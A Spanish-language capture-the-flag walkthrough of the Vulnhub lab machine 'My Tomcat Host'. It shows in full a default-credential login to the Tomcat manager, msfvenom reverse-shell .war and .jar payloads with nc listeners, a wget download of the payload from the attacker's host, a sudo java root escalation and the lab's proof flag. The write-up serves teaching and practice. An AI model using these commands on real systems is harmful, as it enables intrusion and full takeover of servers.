[VULNHUB] My Tomcat Host

Hoy vamos a hackear la maquina de Vulnhub llamada FMy Tomcat Host. Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/my-tomcat-host-1,457/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    ~ > nmap -Pn -A -p- 192.168.1.106 Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-24 11:58 CEST Nmap scan report for my_tomcat.home (192.168.1.106) Host is up (0.00091s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0) | ssh-hostkey: | 2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA) | 256 0e:a4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA) |_ 256 ec:27:1e:42:65:1c:4a:3b:93:1c:a1:75:be:00:22:0d (ED25519) 8080/tcp open http Apache Tomcat 9.0.31 |_http-open-proxy: Proxy might be redirecting requests |_http-title: HTTP Status 400 \xE2\x80\x93 Bad Request Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 152.93 seconds
    Vemos que tiene en el puerto 8080 un Apache Tomcat. Visitamos el siguiente enlace: http://192.168.1.106:8080/manager/html Nos pide usuario/password y probamos los frecuentes para tomcat, siendo tomcat/tomcat credenciales validos. Preparamos una reverse shell .war para subirla al tomcat.
    ~ > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.59 LPORT=5555 -f war -o shell.war
    Ponemos nc a la escucha.
    ~ > nc -nlvp 5555 listening on [any] 5555 ...
    Nos logueamos en el Tomcat y vamos a: War file to deploy -> Examinar -> Deploy y seleccionamos el fichero .war creado anteriormente. Nos aparecera la aplicacion que hemos subido (shell.war), y hacemos clic sobre ella.
  • Low Shell
  • ~ > nc -nlvp 5555 listening on [any] 5555 ... connect to [192.168.1.59] from (UNKNOWN) [192.168.1.106] 37450 python3 -c 'import pty;pty.spawn("/bin/bash")' id uid=998(tomcat) gid=997(tomcat) groups=997(tomcat) python -c 'import pty;pty.spawn("/bin/bash")' bash-4.2$
    Una vez dentro, exploramos que podemos hacer, y miramos si podemos utilizar sudo.
    bash-4.2$ sudo -l Matching Defaults entries for tomcat on this host: requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User tomcat may run the following commands on this host: (ALL) NOPASSWD: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java
    Podemos usar java :) Vamos a crear de nuevo una reverse shell, .jar en este caso, y utilizaremos java junto a sudo para obtener una reverse shell con privilegios de root.
  • Privilege Escalation
  • Creamos nuestra reverse shell.jar.
    ~ > msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.59 LPORT=6666 -f jar -o rootshell.jar Payload size: 7550 bytes Final size of jar file: 7550 bytes
    Ponemos el fichero .jar en nuestro servidor web para que podamos descargarlo desde la maquina victima.
    ~ > sudo cp rootshell.jar /var/www/html
    Descargamos el fichero .jar en la maquina victima.
    bash-4.2$ wget http://192.168.1.59/rootshell.jar wget http://192.168.1.59/rootshell.jar --2020-08-24 06:41:36-- http://192.168.1.59/rootshell.jar Connecting to 192.168.1.59:80... connected. HTTP request sent, awaiting response... 200 OK Length: 7550 (7.4K) [application/java-archive] Saving to: ‘rootshell.jar’ 100%[======================================>] 7,550 --.-K/s in 0s 2020-08-24 06:41:36 (853 MB/s) - ‘rootshell.jar’ saved [7550/7550]
    Ponemos nc a la escucha.
    ~ > nc -nlvp 6666 listening on [any] 6666 ...
    Ejecutamos el fichero .jar con sudo!
    bash-4.2$ sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar /tmp/rootshell.jar
    Y obtenemos nuestra shell de root.
    ~ > nc -nlvp 6666 listening on [any] 6666 ... connect to [192.168.1.59] from (UNKNOWN) [192.168.1.106] 49602 python3 -c 'import pty;pty.spawn("/bin/bash")' /bin/sh: line 1: python3: command not found python -c 'import pty;pty.spawn("/bin/bash")' [root@my_tomcat tmp]# id uid=0(root) gid=0(root) groups=0(root)
  • proof.txt
  • [root@my_tomcat tmp]# cd /root [root@my_tomcat ~]# ls proof.txt [root@my_tomcat ~]# cat proof.txt Best of Luck 628435356e49f976bab2c04948d22fe4
  • End
  • Y con esto ya seriamos root de la maquina.